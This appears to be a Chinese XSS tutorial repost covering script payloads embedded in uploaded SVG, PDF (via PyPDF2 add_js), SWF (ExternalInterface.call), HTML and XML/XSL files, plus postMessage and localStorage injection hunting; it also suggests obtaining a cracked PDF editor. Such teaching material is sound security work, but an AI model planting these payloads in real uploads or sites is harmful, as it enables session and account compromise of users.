Web攻防-XSS跨站文件類型功能邏輯SVGPDFSWFHTMLXMLPMessageLocalStorage

知識點:
1、Web攻防-XSS跨站-文件類型-html&pdf&swf&svg&xml
2、Web攻防-XSS跨站-功能邏輯-postMessage&localStorage

一、演示案例-WEB攻防-XSS跨站-文件類型觸發XSS-SVG&PDF&SWF&HTML&XML等

1、SVG-XSS

SVG(Scalable Vector Graphics)是一種基于XML的二維矢量圖格式,和我們平常用的jpg/png等圖片格式所不同的是SVG圖像在放大或改變尺寸的情況下其圖形質量不會有所損失,并且我們可以使用任何的文本編輯器打開SVG圖片并且編輯它,目前主流的瀏覽器都已經支持SVG圖片的渲染。

<svg xmlns="http://www.w3.org/2000/svg" version="1.1"><circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /><script>alert(1)</script>
</svg>

在這里插入圖片描述
在這里插入圖片描述
通過文件上傳功能上傳一個SVG文件(該文件已經提前植入XSS代碼),然后在訪問這個上傳后的svg地址即可觸發上圖效果

2、PDF-XSS

制作工具:迅捷PDF編輯器試用版

(最好網上找破解版,然后導入其他正常的pdf,在正常的pdf插入js動作)

1、創建PDF,加入動作JS

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
2、通過文件上傳獲取直鏈
在這里插入圖片描述
3、直鏈地址訪問后被觸發
在這里插入圖片描述

利用python創建一個含有XSS的PDF文件

from PyPDF2 import PdfReader, PdfWriter
# 創建一個新的 PDF 文檔
output_pdf = PdfWriter()
# 添加一個新頁面
page = output_pdf.add_blank_page(width=72, height=72)
# 添加js代碼
output_pdf.add_js("app.alert('123');")
# 將新頁面寫入到新 PDF 文檔中
with open("xss.pdf", "wb") as f:output_pdf.write(f)

使用python3運行這個python文件即可在當前目錄下生成一個XSS.pdf文件,用瀏覽器打開這個pdf即可觸發js代碼
在這里插入圖片描述
參考地址:https://www.bmabk.com/index.php/post/151955.html

和正常PDF綁定from PyPDF2 import PdfReader, PdfWriter
# 打開原始 22.PDF 文件
input_pdf = PdfReader("22.pdf")
# 創建一個新的 PDF 文檔
output_pdf = PdfWriter()
# 將現有的 PDF 頁面復制到新文檔
for i in range(len(input_pdf.pages)):output_pdf.add_page(input_pdf.pages[i])
# 添加 javaScript 代碼
output_pdf.add_js("app.alert('123');")
# 將新 PDF 文檔寫入到文件中
with open("xssplus.pdf", "wb") as f:output_pdf.write(f)提前準備好一個22.pdf文件,與當前py腳本放在同一個目錄下,運行該py腳本即可在當前目錄下生成一個xssplus.pdf

在這里插入圖片描述
在這里插入圖片描述

3、SWF-XSS

制作工具:Adobe Flash Professional CS6

1、新建swf文件(SWF文件是Flash動畫文件格式)
在這里插入圖片描述

在這里插入圖片描述
2、F9進入代碼區域
在這里插入圖片描述
在這里插入圖片描述
3、屬性發布設置解析(root指當前swf文件)

//取m參數
var m=_root.m;
//調用html中Javascript中的m參數值
flash.external.ExternalInterface.call(m);

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
觸發:?m=alert(/xss/)
在這里插入圖片描述

實戰中如何利用

1.通過文件上傳自己制作的swf文件然后去訪問執行
在這里插入圖片描述
在這里插入圖片描述
2、找到目標上存在的swf文件進行反編譯后搜索關鍵字找xss漏洞
反編譯項目:JPEXS Free Flash Decompiler
在這里插入圖片描述
JPEXS Free Flash Decompiler工具打開這個swf文件
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

測試swf文件xss安全性:
1、反編譯swf文件
2、查找觸發危險函數
3、找可控參數訪問觸發
xss一是指執行惡意js,那么為什么說flash xss呢?是因為flash有可以調用js的函數,也就是可以和js通信,因此這些函數如果使用不當就會造成xss。常見的可觸發xss的危險函數有:getURL,navigateToURL,ExternalInterface.call(最多),htmlText,loadMovie等等
在這里插入圖片描述

4、HTML-XSS

單純在HTML代碼中寫XSS代碼即可
<script>alert(123)</script>

在這里插入圖片描述
在這里插入圖片描述

5、XML-XSS

XML文件本身不能執行JavaScript 代碼,XML中可以加載外部的資源方式來觸發XSS

流程:通過文件上傳上傳x.xml文件,得到x.xml文件路徑,然后在上傳一個xss.xml文件,代碼中指向x.xml文件的路徑,瀏覽器訪問xss.xml就會觸發x.xml中的xss

創建一個x.xml文件,內容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html><body>
<script>alert(/xss/);</script>
</body></html>
</xsl:template>
</xsl:stylesheet>

在這里插入圖片描述
然后對其進行引用:

創建一個xss.xml文件,內容如下:
<?xml version="1.0" encoding="iso-8859-1"?>
<?xml-stylesheet type="text/xsl" href="http://127.0.0.1/x.xml"?>
<test></test>

在這里插入圖片描述
在這里插入圖片描述

二、演示案例-WEB攻防-XSS跨站-功能邏輯觸發XSS-PostMessage&LocalStorage

1、PostMessage XSS

一個用于在網頁間安全地發送消息的瀏覽器API。它允許不同的窗口(例如,來自同一域名下的不同頁面或者不同域名下的跨域頁面)進行通信,而無需通過服務器。通常情況下,它用于實現跨文檔消息傳遞(Cross-Document Messaging),這在一些復雜的網頁應用和瀏覽器插件中非常有用。
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

安全原因:當發送參數可控且接收方處理不當時,將導致XSS

在這里插入圖片描述
在這里插入圖片描述

模擬漏洞挖掘場景

打開http://192.168.1.4:82/60/receive.html
分析源碼
在這里插入圖片描述
在這里插入圖片描述

根據頁面源碼寫一個xss.html文件上傳上去來控制msg觸發XSS

黑盒挖掘

如何去挖這種隱藏比較深的漏洞,這里強推一個國外白帽寫的谷歌瀏覽器插件:
https://github.com/fransr/postMessage-tracker安裝之后,只要是當前頁面創建了message事件監聽,這個插件就會定位到其代碼。

白盒挖掘

找代碼中此操作類函數及關鍵字分析
復盤:https://mp.weixin.qq.com/s/M5YIkJEoHZK6_I7nK6aj5w

2、localStorage型xss(存儲型Xss升級版)

Web應用使用localStorage在用戶瀏覽器中存儲數據。localStorage允許網頁在本地存儲鍵值對,這些數據可以在瀏覽器關閉后仍然保留,并且在同一域名下的不同頁面之間共享。當應用程序從localStorage中讀取數據并將其顯示在頁面上時,如果沒有對數據進行充分的驗證和過濾,攻擊者就有可能通過修改localStorage中的數據來注入惡意腳本實現XSS
在這里插入圖片描述

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

安全原因:當localStorage可控且有頁面有操作其數據,將導致XSS

黑盒挖掘:尋找輸入點(如表單、搜索框、評論區等),構造測試用例找頁面調用

白盒挖掘:查找與localStorage相關的代碼段分析數據存儲及數據讀取

挖掘:先看目標應用localStorage

1、先找能控制的鍵名鍵值(怎么找)
在這里插入圖片描述
在這里插入圖片描述
2、再找對鍵名鍵值做輸出操作(怎么找)
在這里插入圖片描述

在這里插入圖片描述
或者也可以從js里搜索userData關鍵字找誰調用了這個值
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/85424.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/85424.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/85424.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

強大模型通過自我和解進步——Unsupervised Elicitation of Language Models——論文閱讀筆記

本周關注的工作是&#xff1a;Unsupervised Elicitation of Language Models 這篇文章通篇體現了這樣一件事——香蕉皮大需要香蕉大&#xff01; 一句話總結 首先注意&#xff1a;這個工作不是面向對齊的&#xff0c;而是寫【如何準備】對齊任務的Reward Model需要的數據集的…

Qt—(Qt初識,槽,信號,事件)

一 Qt初識 暫時不寫了 我的理解是類似于c#&#xff0c;是一個組件庫&#xff0c;不局限是一個組件框架。 二 Qt Core Qt Core 是 Qt 框架的基礎模塊&#xff0c;提供非 GUI 的核心功能&#xff1a; 核心類&#xff1a;QObject&#xff08;信號槽機制&#xff09;、QEvent&…

深度學習——基于卷積神經網絡實現食物圖像分類【2】(數據增強)

文章目錄 引言一、項目概述二、環境準備三、數據預處理3.1 數據增強與標準化3.2 數據集準備 四、自定義數據集類五、構建CNN模型六、訓練與評估6.1 訓練函數6.2 評估函數6.3 訓練流程 七、關鍵技術與優化八、常見問題與解決九、完整代碼十、總結 引言 本文將詳細介紹如何使用P…

詳細說說分布式Session的幾種實現方式

1. 基于客戶端存儲&#xff08;Cookie-Based&#xff09; 原理&#xff1a;將會話數據直接存儲在客戶端 Cookie 中 實現&#xff1a; // Spring Boot 示例 Bean public CookieSerializer cookieSerializer() {DefaultCookieSerializer serializer new DefaultCookieSerializ…

用mac的ollama訪問模型,為什么會出現模型胡亂輸出,然后過一會兒再訪問,就又變成正常的

例子&#xff1a;大模型推理遇到內存不足 1. 場景還原 你在Mac上用Ollama運行如下代碼&#xff08;以Python為例&#xff0c;假設Ollama有API接口&#xff09;&#xff1a; import requestsprompt "請寫一首關于夏天的詩。" response requests.post("http:…

簡說 Linux 用戶組

Linux 用戶組 的核心概念、用途和管理方法&#xff0c;盡量簡明易懂。 &#x1f31f; 什么是 Linux 用戶組&#xff1f; 在 Linux 系統中&#xff1a; &#x1f449; 用戶組&#xff08;group&#xff09; 是一組用戶的集合&#xff0c;用來方便地管理權限。 &#x1f449; 用…

S32DS上進行S32K328的時鐘配置,LPUART時鐘配置步驟詳解

1&#xff1a;S32K328的基礎信息 S32K328官網介紹 由下圖可知&#xff0c;S32K328的最大主頻為 240MHz 2&#xff1a;S32K328時鐘樹配置 2.1 system clock node 節點說明 根據《S32K3xx Reference Manual》資料說明 Table 143 各個 系統時鐘節點 的最大頻率如下所示&#…

wordpress小語種網站模板

wordpress朝鮮語模板 紫色風格的韓語wordpress主題&#xff0c;適合做韓國、朝鮮的外貿公司官方網站使用。 https://www.jianzhanpress.com/?p8486 wordpress日文模板 綠色的日語wordpress外貿主題&#xff0c;用來搭建日文外貿網站很實用。 https://www.jianzhanpress.co…

網絡:Wireshark解析https協議,firefox

文章目錄 問題瀏覽器訪問的解決方法python requests問題 現在大部分的網站已經切到https,很多站點即使開了80的端口,最終還是會返回301消息,讓客戶端轉向到https的一個地址。 所以在使用wireshark進行問題分析的時候,解析tls上層的功能,是必不可少的,但是這個安全交換的…

ollama部署開源大模型

1. 技術概述 Spring AI&#xff1a;Spring 官方推出的 AI 框架&#xff0c;簡化大模型集成&#xff08;如文本生成、問答系統&#xff09;&#xff0c;支持多種 LLM 提供商。Olama&#xff1a;開源的本地 LLM 推理引擎&#xff0c;支持量化模型部署&#xff0c;提供 REST API …

Kafka 可靠性保障:消息確認與事務機制(二)

Kafka 事務機制 1. 冪等性與事務的關系 在深入探討 Kafka 的事務機制之前&#xff0c;先來了解一下冪等性的概念。冪等性&#xff0c;簡單來說&#xff0c;就是對接口的多次調用所產生的結果和調用一次是一致的。在 Kafka 中&#xff0c;冪等性主要體現在生產者端&#xff0c…

使用 React.Children.map遍歷或修改 children

使用場景&#xff1a; 需要對子組件進行統一處理&#xff08;如添加 key、包裹額外元素、過濾特定類型等&#xff09;。 動態修改 children 的 props 或結構。 示例代碼&#xff1a;遍歷并修改 children import React from react;// 一個組件&#xff0c;給每個子項添加邊框…

智能體三階:LLM→Function Call→MCP

哈嘍&#xff0c;我是老劉 老劉是個客戶端開發者&#xff0c;目前主要是用Flutter進行開發&#xff0c;從Flutter 1.0開始到現在已經6年多了。 那為啥最近我對MCP和AI這么感興趣的呢&#xff1f; 一方面是因為作為一個在客戶端領域實戰多年的程序員&#xff0c;我覺得客戶端開發…

flutter的常規特征

前言 Flutter 是由 Google 開發的開源 UI 軟件開發工具包&#xff0c;用于構建跨平臺的高性能、美觀且一致的應用程序。 一、跨平臺開發能力 1.多平臺支持&#xff1a;Flutter 支持構建 iOS、Android、Web、Windows、macOS 和 Linux 應用&#xff0c;開發者可以使用一套代碼庫在…

【Git】代碼托管服務

博主&#xff1a;&#x1f44d;不許代碼碼上紅 歡迎&#xff1a;&#x1f40b;點贊、收藏、關注、評論。 格言&#xff1a; 大鵬一日同風起&#xff0c;扶搖直上九萬里。 文章目錄 Git代碼托管服務概述Git核心概念主流Git托管平臺Git基礎配置倉庫創建方式Git文件狀態管理常用…

Android 網絡請求的選擇邏輯(Connectivity Modules)

代碼分析 ConnectivityManager packages/modules/Connectivity/framework/src/android/net/ConnectivityManager.java 許多APN已經棄用,應用層統一用 requestNetwork() 來請求網絡。 [ConnectivityManager] example [ConnectivityManager] requestNetwork() [Connectivi…

C#建立與數據庫連接(版本問題的解決方案)踩坑總結

1.如何優雅的建立數據庫連接 今天使用這個deepseek寫代碼&#xff0c;主要就是建立數據庫的鏈接&#xff0c;包括這個建庫建表啥的都是他整得&#xff0c;我就是負責執行&#xff0c;然后解決這個里面遇到的一些問題&#xff1b; 其實我學習這個C#不過是短短的4天的時間&…

FastAPI的初步學習(Django用戶過來的)

我一直以來是Django重度用戶。它有清晰的MVC架構模式、多應用組織結構。它內置用戶認證、數據庫ORM、數據庫遷移、管理后臺、日志等功能&#xff0c;還有強大的社區支持。再搭配上Django REST framework (DRF) &#xff0c;開發起來效率極高。主打功能強大、易于使用。 曾經也…

提升IT運維效率 貝銳向日葵推出自動化企業腳本功能

在企業進行遠程IT運維管理的過程中&#xff0c;難免會涉及很多需要批量操作下發指令的場景&#xff0c;包括但不限于下列場景&#xff1a; ● ?規模設備部署與初始化、設備配置更新 ● 業務軟件安裝與系統維護&#xff0c;進行安全加固或執行問題修復命令 ● 遠程設備監控與…

最簡單的遠程桌面連接方法是什么?系統自帶內外網訪問實現

在眾多遠程桌面連接方式中&#xff0c;使用 Windows 系統自帶的遠程桌面連接功能是較為簡單的方法之一&#xff0c;無論是在局域網內還是通過公網進行遠程連接&#xff0c;都能輕松實現。 一、局域網內連接步驟 1、 開啟目標計算機遠程桌面功能&#xff1a;在目標計算機&…